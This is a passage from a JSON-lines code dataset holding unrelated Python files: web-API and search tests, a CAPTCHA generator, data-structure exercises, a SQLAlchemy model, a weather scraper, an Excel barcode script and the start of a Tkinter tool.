'utf-8'))\n\n\n@pytest.fixture(scope=\"module\")\ndef barks():\n b = barks_table.BarksTable()\n b.gracefully_create_table()\n return b\n\n\n@pytest.fixture(scope=\"module\")\ndef app(barks):\n a = flask.Flask('collar_metrics')\n collar_metrics.bootstrap(a, barks)\n return a\n\n\n@pytest.fixture(scope=\"module\")\ndef api_client(app):\n app.testing = True\n return app.test_client()\n\n\ndef test_get_barks_200(api_client):\n response = api_client.get(\"/collar/1/barks\")\n assert response.status_code == 200\n\n\ndef test_get_barks_empty(api_client):\n response = api_client.get(\"/collar/1/barks\")\n assert not jsonapi(response.data)['data']\n\n\ndef test_new_barks_are_preserved(api_client):\n bark_event = {\"type\": \"barks\", \"attributes\": {\"volume\": '5', \"timestamp\": \"2018-01-01\"}}\n api_client.post(\n \"/collar/1/barks/new\",\n data=json.dumps(dict(data=[bark_event])),\n content_type=\"application/json\"\n )\n response = api_client.get(\"/collar/1/barks\")\n assert jsonapi(response.data)['data'][-1] == bark_event\n\n\ndef test_barks_are_separated_by_collar(api_client):\n bark_event = {\"type\": \"barks\", \"attributes\": {\"volume\": '5', \"timestamp\": \"2018-01-01\"}}\n api_client.post(\n \"/collar/1/barks/new\",\n data=json.dumps(dict(data=[bark_event])),\n content_type=\"application/json\"\n )\n response = api_client.get(\"/collar/2/barks\")\n assert not jsonapi(response.data)['data']\n","sub_path":"test/test_bark_endpoints.py","file_name":"test_bark_endpoints.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"166307286","text":"import os, random, copy\nfrom captcha.image import ImageCaptcha\nfrom wheezy.captcha.image import captcha\n\nfrom wheezy.captcha.image import background\nfrom wheezy.captcha.image import curve\nfrom wheezy.captcha.image import noise\nfrom wheezy.captcha.image import smooth\nfrom wheezy.captcha.image import text\n\nfrom wheezy.captcha.image import offset\nfrom wheezy.captcha.image import rotate\nfrom wheezy.captcha.image import warp\n\n# Read the original word list\nwith open(os.path.join(os.path.dirname(__file__), 'static/part1/wl.txt'), 'r') as f:\n wl_orig = [line.rstrip() for line in f]\n\n# Randomly select 100 words\nrandom.seed(301082)\ntmp_list = random.sample(wl_orig, 210)\nwl = []\nbotlist = []\ntestlist = []\nfor i in range(0,100):\n wl.append(tmp_list[i])\nfor i in range(100, 200):\n botlist.append(tmp_list[i])\nfor i in range(200, 210):\n testlist.append(tmp_list[i])\n\n# Save the sample of words to wordlist file\nwith open(os.path.join(os.path.dirname(__file__), 'static/part1/wordlist.txt'), 'w') as f:\n for item in wl:\n f.write(\"%s\\n\" % item)\n\nwith open(os.path.join(os.path.dirname(__file__), 'static/part1/botlist.txt'), 'w') as f:\n for item in botlist:\n f.write(\"%s\\n\" % item)\n\nwith open(os.path.join(os.path.dirname(__file__), 'static/part1/testlist.txt'), 'w') as f:\n for item in testlist:\n f.write(\"%s\\n\" % item)\n# with open(os.path.join(os.path.dirname(__file__), 'static/part1/wordlist.txt'), 'r') as f:\n# wl = [line.rstrip() for line in f]\n\n## OLD CODE: Generate the captchas, save them into the static folder\n# for idx, word in enumerate(wl):\n# image = ImageCaptcha()\n# data = image.generate(word)\n# image.write(word, os.path.join(os.path.dirname(__file__), 'static/part1/A' + str(idx) + '.png'))\n\ncolors_fg = [\"#F8766D\", \"#7CAE00\", \"#00BFC4\", \"#C77CFF\"]\ncolors_bg = [\"#FFE6E4\", \"#FFEFCC\", \"#DCF9D1\", \"#C2FDEE\", \"#CCF8FF\", \"#F2ECFF\", \"#FFE4FF\"]\n\n\n# Define function to generate captchas\ndef my_captcha(fg_col='#5C87B2', bg_col='#EEEECC'):\n cap = captcha(\n drawings=[\n background(color=bg_col),\n text(fonts=['fonts/CourierNewBold.ttf'],\n # font_sizes=[60, 50, 45, 65],\n font_sizes=[40, 35, 45],\n color=fg_col,\n drawings=[\n warp(dx_factor=0.2, dy_factor=0.3),\n rotate(angle=20),\n offset(dx_factor=0.4, dy_factor=0.5),\n ]),\n curve(color=fg_col, width=3, number=20),\n noise(number=250, color=bg_col, level=2),\n smooth()\n ],\n width=400, height=50,\n )\n return cap\n\n\n# Generate the captchas from wordlist, save them into the static folder\nfor idx, word in enumerate(wl):\n tmp_colors_fg = copy.copy(colors_fg)\n tmp_colors_bg = copy.copy(colors_bg)\n random.shuffle(tmp_colors_fg)\n random.shuffle(tmp_colors_bg)\n fg_col = tmp_colors_fg.pop()\n bg_col = tmp_colors_bg.pop()\n captcha_image = my_captcha(fg_col=fg_col, bg_col=bg_col)\n image = captcha_image(word)\n image.save(os.path.join(os.path.dirname(__file__), 'static/part1/A' + str(idx) + '.png'), 'JPEG', quality=100)\n\nfor idx, word in enumerate(botlist):\n tmp_colors_fg = copy.copy(colors_fg)\n tmp_colors_bg = copy.copy(colors_bg)\n random.shuffle(tmp_colors_fg)\n random.shuffle(tmp_colors_bg)\n fg_col = tmp_colors_fg.pop()\n bg_col = tmp_colors_bg.pop()\n captcha_image = my_captcha(fg_col=fg_col, bg_col=bg_col)\n image = captcha_image(word)\n image.save(os.path.join(os.path.dirname(__file__), 'static/part1/bot' + str(idx) + '.png'), 'JPEG', quality=100)\n\nfor idx, word in enumerate(testlist):\n tmp_colors_fg = copy.copy(colors_fg)\n tmp_colors_bg = copy.copy(colors_bg)\n random.shuffle(tmp_colors_fg)\n random.shuffle(tmp_colors_bg)\n fg_col = tmp_colors_fg.pop()\n bg_col = tmp_colors_bg.pop()\n captcha_image = my_captcha(fg_col=fg_col, bg_col=bg_col)\n image = captcha_image(word)\n image.save(os.path.join(os.path.dirname(__file__), 'static/part1/t' + str(idx) + '.png'), 'JPEG', quality=100)","sub_path":"part1/captchagenerator.py","file_name":"captchagenerator.py","file_ext":"py","file_size_in_byte":4103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"66273273","text":"from .single_linked_list import Node, SLinkedList\n\n\nclass Queue:\n def __init__(self):\n self.sll = SLinkedList()\n\n def enqueue(self, data):\n self.sll.add(data)\n\n def dequeue(self):\n temp1 = self.sll.head\n temp2 = self.sll.head\n #print(temp1.data)\n #print(temp2.data)\n cnt = 0\n while temp1.link != None:\n cnt += 1\n temp1 = temp1.link\n #print(temp1.data)\n\n #print(\"%\"*100)\n for _ in range(cnt-1):\n temp2 = temp2.link\n #print(temp2.data)\n\n ret = temp1.data\n temp2.link = temp1.link\n print(\"dequeue {}\".format(ret))\n return \n\n\n# def show_list(arg):\n# que.sll.show_list(arg)\n\n\nif __name__ == \"__main__\":\n que = Queue()\n\n que.enqueue(1)\n que.enqueue(2)\n que.enqueue(3)\n que.enqueue(4)\n que.enqueue(5)\n\n #print(que.sll.head.data)\n que.dequeue()\n que.dequeue()\n que.dequeue()\n que.dequeue()\n print(\"*\"*100)","sub_path":"Python/data_struct/Queue/single_queue.py","file_name":"single_queue.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"47778067","text":"from ..interfaces import IElasticsearch\nfrom zeit.cms.interfaces import IResult\nimport json\nimport unittest\nimport zeit.retresco.testing\nimport zope.component\n\n\nclass TestElasticsearch(unittest.TestCase):\n \"\"\"Testing ..search.Elasticsearch.\"\"\"\n\n layer = zeit.retresco.testing.MOCK_ZCML_LAYER\n\n query = {\n \"query\": {\n \"query_string\": {\n \"query\": \"Salafisten\"\n }\n }\n }\n\n def setUp(self):\n super(TestElasticsearch, self).setUp()\n self.elasticsearch = zope.component.getUtility(IElasticsearch)\n\n def test_search_returns_a_result_object(self):\n result = self.elasticsearch.search(self.query, 'title:asc', rows=2)\n self.assertTrue(IResult.providedBy(result))\n self.assertEqual(5, result.hits)\n\n def test_search_result_may_contain_payload_fields(self):\n result = self.elasticsearch.search(\n self.query, 'title:asc', rows=2, include_payload=True)\n self.assertEqual(\n 'Islamismus', result[0]['payload']['body']['supertitle'])\n\n def test_search_result_may_contain_specific_source(self):\n query = self.query.copy()\n query['_source'] = ['payload.teaser.title', 'payload.body.title']\n result = self.elasticsearch.search(query, 'title:asc', rows=2)\n call_body = self.elasticsearch.client.search.call_args[1]['body']\n self.assertEqual(query['_source'], json.loads(call_body)['_source'])\n\n def test_search_rejects_specific_source_and_payload_flag(self):\n query = self.query.copy()\n query['_source'] = ['payload.teaser.title', 'url', 'rtr_keyword']\n with self.assertRaises(ValueError):\n self.elasticsearch.search(query, 'date:asc', include_payload=True)\n","sub_path":"src/zeit/retresco/tests/test_search.py","file_name":"test_search.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"526739690","text":"\"\"\"Build and install the windspharm package.\"\"\"\n# Copyright (c) 2012-2014 Andrew Dawson\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\nfrom setuptools import setup\n\nfor line in open('lib/windspharm/__init__.py').readlines():\n if line.startswith('__version__'):\n exec(line)\n\npackages = ['windspharm',\n 'windspharm.examples',\n 'windspharm.tests' ]\n\npackage_data = {'windspharm.examples': ['example_data/*'],\n 'windspharm.tests': ['data/*.npy'],}\n\nsetup(name='windspharm',\n version=__version__,\n description='vector wind analysis in spherical coordinates',\n author='Andrew Dawson',\n author_email='dawson@atm.ox.ac.uk',\n url='http://ajdawson.github.com/windspharm/',\n long_description=\"\"\"\n windspharm provides a simple interface for doing calculations on\n vector wind fields (e.g., computing streamfunction) in spherical\n geometry using spherical harmonics\n \"\"\",\n packages=packages,\n package_dir={'':'lib'},\n package_data=package_data,\n use_2to3=True,\n install_requires=['numpy', 'pyspharm >= 1.0.8'],)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"495657110","text":"import unittest\nfrom transforms import flatten\nfrom transforms import strip_punctuation\nfrom transforms import tokenize\n\n\nclass TestMethods(unittest.TestCase):\n\n def test_flatten_correctness(self):\n\n input_expected_pairs = [\n (\n {'A': {'a': '1', 'b': 1}},\n ['A.a:1', 'A.b:1']\n ),\n (\n {'A': ['a', 'b']},\n ['A:a', 'A:b']\n ),\n (\n [{'A': 'a'}, {'A': 'b'}],\n ['A:a', 'A:b']\n ),\n (\n ['idem', 'potent'],\n ['idem', 'potent']\n ),\n (\n 'singleton',\n ['singleton']\n )\n ]\n\n for input_, expected in input_expected_pairs:\n actual = flatten(input_)\n self.assertEqual(sorted(expected), sorted(actual))\n\n def test_strip_punctuation_correctness(self):\n\n input_expected_pairs = [\n (\n '#!/foo', 'foo'\n ),\n (\n 'f-00', 'f-00'\n ),\n (\n '\"foo,\"', 'foo'\n )\n ]\n\n for input_, expected in input_expected_pairs:\n actual = strip_punctuation(input_)\n self.assertEqual(expected, actual)\n\n def test_tokenize_sanity(self):\n\n input_expected_pairs = [\n (\n ' Simple. Tokenization. Task! ',\n ['simple', 'tokenization', 'task']\n ),\n ]\n\n for input_, expected in input_expected_pairs:\n actual = tokenize(input_)\n self.assertEqual(expected, actual)\n","sub_path":"tests/test_transforms.py","file_name":"test_transforms.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"485369070","text":"__all__ = ['Listing']\n\nfrom . import db\nfrom datetime import datetime\nfrom sqlalchemy.dialects.postgresql import UUID\nfrom sqlalchemy.sql.functions import func\nfrom ..constants import ProductType\nfrom app.models.shared import listing_accommodations\n\n\nclass Listing(db.Model):\n __tablename__ = 'listing'\n\n id = db.Column(UUID(as_uuid=True), primary_key=True, server_default=db.text(\"uuid_generate_v4()\"))\n building_id = db.Column(UUID(as_uuid=True), db.ForeignKey('building.id'), nullable=False)\n display_title = db.Column(db.String(64), nullable=False)\n list_desc = db.Column(db.String(255), nullable=True)\n is_published = db.Column(db.Boolean, nullable=False)\n is_instant = db.Column(db.Boolean, default=False)\n min_allowed_duration = db.Column(db.Integer, nullable=True)\n img_path = db.Column(db.String, nullable=True)\n is_draft = db.Column(db.Boolean, nullable=False, default=True)\n start_availability = db.Column(db.DateTime, default=datetime.today)\n end_availability = db.Column(db.DateTime, nullable=True)\n listing_type = db.Column(db.Enum(ProductType), nullable=True)\n created_at = db.Column(db.DateTime, default=func.now())\n updated_at = db.Column(db.DateTime, default=func.now(),onupdate=func.utc_timestamp())\n\n # relationships\n bookings = db.relationship('Booking', backref='listing', lazy=True)\n listing_item = db.relationship('ListingItem', backref='listing', uselist=False)\n price = db.relationship('Price', uselist=False, backref='listing')\n accomedations = db.relationship('RefAccomedation',\n secondary=listing_accommodations,\n backref=db.backref('listings', lazy='dynamic'))\n\n def to_json(self) -> dict:\n json_listing = {\n 'id': self.id,\n 'building_id': self.building_id,\n 'price': self.price.to_json() if self.price is not None else None,\n 'display_title': self.display_title,\n 'list_desc': self.list_desc,\n 'is_published': self.is_published,\n 'is_instant': self.is_instant,\n 'min_allowed_duration': self.min_allowed_duration,\n 'img': self.img_path,\n 'start_availability': self.start_availability,\n 'end_availability': self.end_availability,\n 'listing_type': self.listing_type,\n 'created_at': self.created_at,\n 'updated_at': self.updated_at\n }\n return json_listing\n\n @staticmethod\n def from_json(json_listing):\n return Listing(\n building_id=json_listing.get('building_id'),\n display_title=json_listing.get('display_title'),\n list_desc=json_listing.get('list_desc'),\n is_instant=json_listing.get('is_instant'),\n is_published=json_listing.get('is_published'),\n min_allowed_duration=json_listing.get('min_allowed_duration'),\n start_availability=json_listing.get('start_availability'),\n end_availability=json_listing.get('end_availability'),\n listing_type=json_listing.get('listing_type_code'),\n img_path=json_listing.get('img_path'),\n price=json_listing.get('price')\n )\n\n def __repr__(self):\n return f\"\"\n","sub_path":"app/models/listing.py","file_name":"listing.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"325580616","text":"# -*- coding:utf-8 -*-\n# Author: ssdcxy\n# Date: 2020-02-22 10:17:38\n# LastEditTime: 2020-02-22 10:21:54\n# LastEditors: ssdcxy\n# Description: 编辑距离\n# FilePath: /arithmetic_oj/LeetCode/P0072.py\n\nclass Solution:\n def minDistance(self, word1: str, word2: str) -> int:\n m, n = len(word1), len(word2)\n dp = [[0]*(n+1) for _ in range(m+1)]\n for i in range(1, m+1):\n dp[i][0] = i\n for j in range(1, n+1):\n dp[0][j] = j\n for i in range(1, m+1):\n for j in range(1, n+1):\n if word1[i-1] != word2[j-1]:\n dp[i][j] = min(dp[i-1][j-1], dp[i][j-1], dp[i-1][j])+1\n else:\n dp[i][j] = dp[i-1][j-1]\n return dp[-1][-1]\n \n\ndef stringToString(input):\n return input[1:-1].decode('string_escape')\n\ndef main():\n import sys\n import io\n def readlines():\n for line in io.TextIOWrapper(sys.stdin.buffer, encoding='utf-8'):\n yield line.strip('\\n')\n\n lines = readlines()\n while True:\n try:\n line = next(lines)\n word1 = stringToString(line);\n line = next(lines)\n word2 = stringToString(line);\n \n ret = Solution().minDistance(word1, word2)\n\n out = str(ret);\n print(out)\n except StopIteration:\n break\n\nif __name__ == '__main__':\n main()","sub_path":"LeetCode/P0072.py","file_name":"P0072.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"169192822","text":"import requests,time\nfrom bs4 import BeautifulSoup\n\nimport MaykerUtilities\n\nMaykerUtilities.ConsoleCleanner()\n\n \ndef GettingWeatherInfo():\n response = requests.get('https://fox13now.com/weather/')\n soup = BeautifulSoup(response.text, 'html.parser')\n #Temp\n posts = soup.find_all(class_='dropdown current-menu-item')\n #Precipitation\n posts2 = soup.find_all(class_='current-conditions well')\n #Next Seven Days\n posts3 = soup.find_all(class_='span-day')\n\n #Separating the lines that call the code from the result.\n print()\n print()\n\n\n for post in posts:\n mytemperature=''\n title = str(post.find(class_='temp'))\n mytemperature = title.replace('','').replace('','')\n print(mytemperature, '\\t''Temp')\n\n for post in posts2:\n mytemperature=''\n title = str(post.find(class_='precip'))\n mytemperature = title.replace('
','').replace(' Precipitation ','').replace('','').replace('
','').replace('\\n','').replace('\\n','')\n print(mytemperature,'\\t''Precipitation') \n\n for post in posts2:\n mytemperature=''\n title = str(post.find(class_='currently span12'))\n mytemperature = title\n soup = BeautifulSoup(mytemperature,'html.parser')\n mydiv =str(soup.findAll('i')).replace('[]','').replace('[','').replace('','')\n mytemperature2 = hilow.replace('\\n','').replace('
','').replace('','').replace('
','').replace('\\n','')\n minmax.append(mytemperature.lstrip()+' - Min: '+mytemperature2.lstrip().replace('\\t',''))\n \n time.sleep(2)\n for Item in minmax: \n print(Item)\n print() \n MaykerUtilities.myCountDown(13)\n time.sleep(2) \n \n\nif __name__ == \"__main__\": \n GettingWeatherInfo() \n","sub_path":"ReadingTheWeb/WebScraping_Temperature.py","file_name":"WebScraping_Temperature.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"24703382","text":"#\n\n\n#http://www.opengeocode.org/download.php#cityzip\nimport pandas as pd\nfrom math import *\n\ndf = pd.DataFrame.from_csv('cityzip.csv').reset_index()\n\ndef distance_function(lat1,lon1,lat2, lon2):\n lon1, lat1, lon2, lat2 = map(radians, [lon1, lat1, lon2, lat2])\n # haversine formula\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2\n c = 2 * asin(sqrt(a))\n r = 3956 # 6371 # Radius of earth in kilometers. Use 3956 for miles\n return c * r\n\ndef fromLatLong(lat, lng):\n \"\"\"returns city, state, zip in csv format\"\"\"\n #calculate distance to all points.\n #Latitude, Longitude\n di = 0\n ds = []\n shortest = 100000000\n shortest_i = -1\n for index, x in df.iterrows():\n try:\n dist = distance_function(float(x['Latitude']), float(x['Longitude']), float(lat), float(lng))\n except:\n dist = 1000000000\n if (dist < shortest):\n shortest = dist\n shortest_i = di\n #print \"shortest \" + str(shortest_i) + \" \" + str(shortest)\n ds.append(dist)\n di+=1\n goodness = df.iloc[shortest_i]\n return goodness\n","sub_path":"scripts/geo.py","file_name":"geo.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"351962414","text":"# Goodnight program\n\nfrom time import *\nfrom datetime import date as current_date\n\n# Function definition\ndef epic_test(activity_number, happy_value):\n if activity_number > 5 and happy_value == True:\n global epic_day\n epic_day = True\n\nfull_date = current_date.today()\n\nnumber_of_activities = 15\nvery_happy = True\nepic_day = None\n\nprint(\"In 5 seconds, it will be time for bed.\")\nsleep(5)\n\nepic_test(number_of_activities, very_happy)\n\nif epic_day:\n print(\"Today, \" + str(full_date) + \", was like a fairy tale!\")\n\nprint(\"Goodnight!\")\n","sub_path":"code/goodnight.py","file_name":"goodnight.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"13739563","text":"from django.contrib.auth.models import User\nfrom django.core.urlresolvers import reverse\nfrom django.test import TestCase\nfrom .fixtures import (create_user, create_template, create_project,\n create_project_category, create_external_project)\nfrom ...attachments.tests.fixtures import create_asset\nfrom ...attachments.models import Asset\nfrom ..models import (Project, Template, ProjectCategory, TemplateCategory,\n ProjectCategoryMembership)\nfrom nose.tools import eq_, ok_\n\n\nclass PopcornTest(TestCase):\n\n def tearDown(self):\n for model in [Project, User, Template]:\n model.objects.all().delete()\n\n def test_project_creation(self):\n data = {\n 'author': create_user('bob'),\n 'name': 'Hello World!',\n 'template': create_template(),\n 'metadata': '{}',\n 'html': '',\n }\n project = Project.objects.create(**data)\n ok_(project.id, \"Project couldn't be created\")\n ok_(project.uuid, \"Project UUID missing\")\n eq_(project.status, Project.LIVE)\n eq_(project.is_forkable, False)\n eq_(project.is_shared, True)\n eq_(project.is_published, True)\n eq_(project.is_external, False)\n eq_(project.views_count, 0)\n\n\n def test_external_project_creation(self):\n data = {\n 'author': create_user('bob'),\n 'name': 'Hello World!',\n 'url': 'http://mozillapopcorn.org',\n }\n project = Project.objects.create(**data)\n ok_(project.id, \"Project couldn't be created\")\n ok_(project.uuid, \"Project UUID missing\")\n eq_(project.status, Project.LIVE)\n eq_(project.is_forkable, False)\n eq_(project.is_shared, True)\n eq_(project.is_published, True)\n eq_(project.is_external, True)\n eq_(project.views_count, 0)\n\n def test_absolute_url(self):\n project = create_project()\n url = reverse('user_project_summary', args=[project.author.username,\n project.shortcode])\n eq_(project.get_absolute_url(), url)\n\n def test_project_url(self):\n project = create_external_project()\n url = reverse('user_project', args=[project.author.username,\n project.shortcode])\n eq_(project.get_project_url(), url)\n\n def test_edit_url(self):\n project = create_external_project()\n url = reverse('user_project_edit', args=[project.author.username,\n project.shortcode])\n eq_(project.get_edit_url(), url)\n\n def test_project_published(self):\n project = create_project(status=Project.LIVE)\n ok_(project.is_published)\n\n def test_hidden_project(self):\n project = create_project(status=Project.HIDDEN)\n eq_(project.is_published, False)\n\n def test_removed_project(self):\n project = create_project(status=Project.REMOVED)\n eq_(project.status, project.REMOVED)\n eq_(project.is_published, False)\n eq_(project.is_removed, True)\n\n def test_butter_data(self):\n project = create_project()\n for attr in ['_id', 'name', 'template', 'data', 'created', 'modified']:\n ok_(attr in project.butter_data)\n\n\nclass TemplateTest(TestCase):\n\n def tearDown(self):\n Template.objects.all().delete()\n\n def test_template_creation(self):\n mozilla = create_user('mozilla')\n template = Template.objects.create(name='basic', slug='basic',\n author=mozilla)\n ok_(template.id, \"Template couldn't be created\")\n eq_(template.status, Template.LIVE)\n eq_(template.is_featured, False)\n eq_(template.views_count, 0)\n eq_(template.votes_count, 0)\n ok_(template.created)\n ok_(template.modified)\n eq_(len(template.asset_list), 0)\n eq_(template.template_asset, None)\n eq_(template.config_asset, None)\n eq_(template.metadata_asset, None)\n\n def test_template_live_manager(self):\n create_template(name='basic')\n eq_(Template.live.all().count(), 1)\n\n def test_template_live_manager_hidden(self):\n create_template(status=Template.HIDDEN)\n eq_(Template.live.all().count(), 0)\n eq_(Template.objects.all().count(), 1)\n\n\nclass ProjectCategoryTest(TestCase):\n\n def tearDown(self):\n ProjectCategory.objects.all().delete()\n\n def test_category_creation(self):\n data = {'name': 'Special'}\n category = ProjectCategory.objects.create(**data)\n ok_(category.id, 'Failed to create Category')\n\n\nclass TemplateCategoryTest(TestCase):\n\n def tearDown(self):\n TemplateCategory.objects.all().delete()\n\n def test_category_creation(self):\n data = {'name': 'Special'}\n category = TemplateCategory.objects.create(**data)\n ok_(category.id, 'Failed to create Category')\n\n\nclass ProjectCategoryMembershipTest(TestCase):\n\n def tearDown(self):\n for model in [ProjectCategoryMembership, ProjectCategory, User]:\n model.objects.all().delete()\n\n def test_membership_creation(self):\n user = create_user('bob', with_profile=True)\n data = {\n 'user': user.profile,\n 'project_category': create_project_category(),\n }\n membership = ProjectCategoryMembership.objects.create(**data)\n eq_(ProjectCategoryMembership.PENDING, membership.status)\n ok_(membership.created, \"Missing created date\")\n\n\nclass ProjectTemplateTests(TestCase):\n\n def tearDown(self):\n for model in [Asset, Template, User, Template]:\n model.objects.all().delete()\n\n def test_template_save_new_template(self):\n template = create_template(template_content='')\n content = 'HELLO WORLD'\n create_asset(asset_content=content, template=template,\n asset_type=Asset.TEMPLATE)\n template = Template.objects.get(id=template.id)\n template.save()\n eq_(template.template_content, content)\n\n def test_template_save_existing_template(self):\n content = ''\n template = create_template(template_content=content)\n create_asset(asset_content='Updated content', template=template,\n asset_type=Asset.TEMPLATE)\n template = Template.objects.get(id=template.id)\n template.save()\n eq_(template.template_content, content)\n\n def test_template_save_new_config(self):\n template = create_template(config='')\n content = '{\"foo\": \"foo\"}'\n create_asset(asset_content=content, template=template,\n asset_type=Asset.CONFIG)\n template = Template.objects.get(id=template.id)\n template.save()\n eq_(template.config, {\"foo\": \"foo\"})\n\n def test_template_save_existing_config(self):\n content = '{\"foo\": \"foo\"}'\n template = create_template(config=content)\n create_asset(asset_content='{\"updated\": \"updated\"}', template=template,\n asset_type=Asset.CONFIG)\n template = Template.objects.get(id=template.id)\n template.save()\n eq_(template.config, {\"foo\": \"foo\"})\n\n def test_template_save_new_metadata(self):\n template = create_template(metadata='')\n content = '{\"foo\": \"foo\"}'\n create_asset(asset_content=content, template=template,\n asset_type=Asset.DATA)\n template = Template.objects.get(id=template.id)\n template.save()\n eq_(template.metadata, content)\n\n def test_template_save_existing_metadata(self):\n content = '{\"foo\": \"foo\"}'\n template = create_template(metadata=content)\n create_asset(asset_content='{\"updated\": \"updated\"}', template=template,\n asset_type=Asset.DATA)\n template = Template.objects.get(id=template.id)\n template.save()\n eq_(template.metadata, content)\n","sub_path":"popcorn_gallery/popcorn/tests/models_tests.py","file_name":"models_tests.py","file_ext":"py","file_size_in_byte":8092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"550697861","text":"#This is the stable version\r\n#I am currently working on a Pandas version\r\n\r\n\r\nimport openpyxl\r\n\r\n#These are a constant becausethe table will always start here (unless manually changed)\r\nSTART_OF_TABLE_COL = \"E\"\r\nSTART_OF_TABLE_ROW = \"5\"\r\nSTART_OF_TABLE = START_OF_TABLE_COL + START_OF_TABLE_ROW\r\n\r\nEND_OF_TABLE_COL = \"H\"\r\n#This gets changed when the program starts up - so is a global variable not a constant\r\nglobal endOfTableRow #global variable declaration\r\n\r\nFILENAME = \"P:\\Joe\\MicroController Product Controller\\Barcode Database.xlsx\"\r\n\r\n\r\n#Opens the barcode database (currently just excel)\r\nworkbook = openpyxl.load_workbook(filename= FILENAME)\r\n#print(workbook.sheetnames)\r\n\r\n#For now this can be accessible by all because we are only working with the one sheet\r\n#Selects the sheet we are going to do the work on\r\nsheet = workbook.active\r\n\r\n\r\n#A function I used to test openpyxl\r\ndef test():\r\n\r\n\r\n #Prints the value in cell E5\r\n print(sheet[\"E5\"].value)\r\n\r\n\r\n sheet[\"B2\"].value = \"test\"\r\n\r\n #Goes through the selection of cells and provides\r\n for cells in sheet[\"E5:G13\"]:\r\n for cell in cells:\r\n print(cell.value)\r\n\r\n\r\n\r\n\r\n#Scans the sheet to gather information\r\ndef InitialSheetScan():\r\n global endOfTableRow #Declaring tat endOfTableRow is a global variable\r\n \r\n currRowCount = 0\r\n #Counts the rows up to the final row we use\r\n for row in sheet[START_OF_TABLE_COL]:\r\n #print(row.value)\r\n currRowCount += 1\r\n\r\n #Helps us keep track of where our data is \r\n endOfTableRow = str(currRowCount)\r\n print(endOfTableRow)\r\n \r\n\r\n\r\n\r\n#Add a new barcode to the database\r\ndef AppendNewBarcode(barcodeID):\r\n global endOfTableRow #Declaring that endOfTableRow is the global variable\r\n\r\n #checks to see if the barcode already exists\r\n if (SheetBarcodeCheck(barcodeID) == 1):\r\n print(\"DEBUG: Barcode already exists!\")\r\n return 0\r\n else: \r\n sheet[START_OF_TABLE_COL + endOfTableRow] = barcodeID\r\n workbook.save(FILENAME)\r\n endOfTableRow = str(int(endOfTableRow) + 1)\r\n return 1 \r\n\r\n\r\n#Checks to see if a barcode exists in the sheet\r\ndef SheetBarcodeCheck(barcodeID):\r\n global endOfTableRow #Declaring that endOfTableRow is the global variable\r\n\r\n for cell in sheet[START_OF_TABLE_COL]:\r\n if (cell.value == barcodeID):\r\n return 1\r\n\r\n return 0\r\n \r\n\r\n#Required at the start to keep track of how many barcodes we have\r\nInitialSheetScan()\r\nAppendNewBarcode(90982674)\r\nAppendNewBarcode(909834567)\r\nAppendNewBarcode(90989765437)\r\n \r\n","sub_path":"Code - V0.1 - Stable/src/DataHandler.py","file_name":"DataHandler.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"451211067","text":"#!/usr/bin/python\n# -*- coding:utf-8 -*-\nfrom tkinter import *\nfrom tkinter.messagebox import showerror, showinfo\nfrom tkinter.filedialog import asksaveasfile, askopenfile\nimport mdvr\nimport threading\nimport time\nimport logging\nimport random\nimport pickle\nfrom uuid import uuid1\nimport traceback\n\ntry:\n import cx_Oracle\n\n oracle_exist = True\nexcept ImportError:\n oracle_exist = False\n\n__author__ = 'shangxc'\n\n\nclass InputWithTips(object):\n def __init__(self, master=None, tips='', length=10, types=StringVar, row=0, minnum=0, maxnum=0):\n self.length = length\n self.maxnum = maxnum\n self.minnum = minnum\n self._tmp = ''\n self._var = types()\n Label(master, text=' ' + tips + ' : ').grid(row=row, column=0, sticky=E)\n self.entry = Entry(master, width=length + 2, 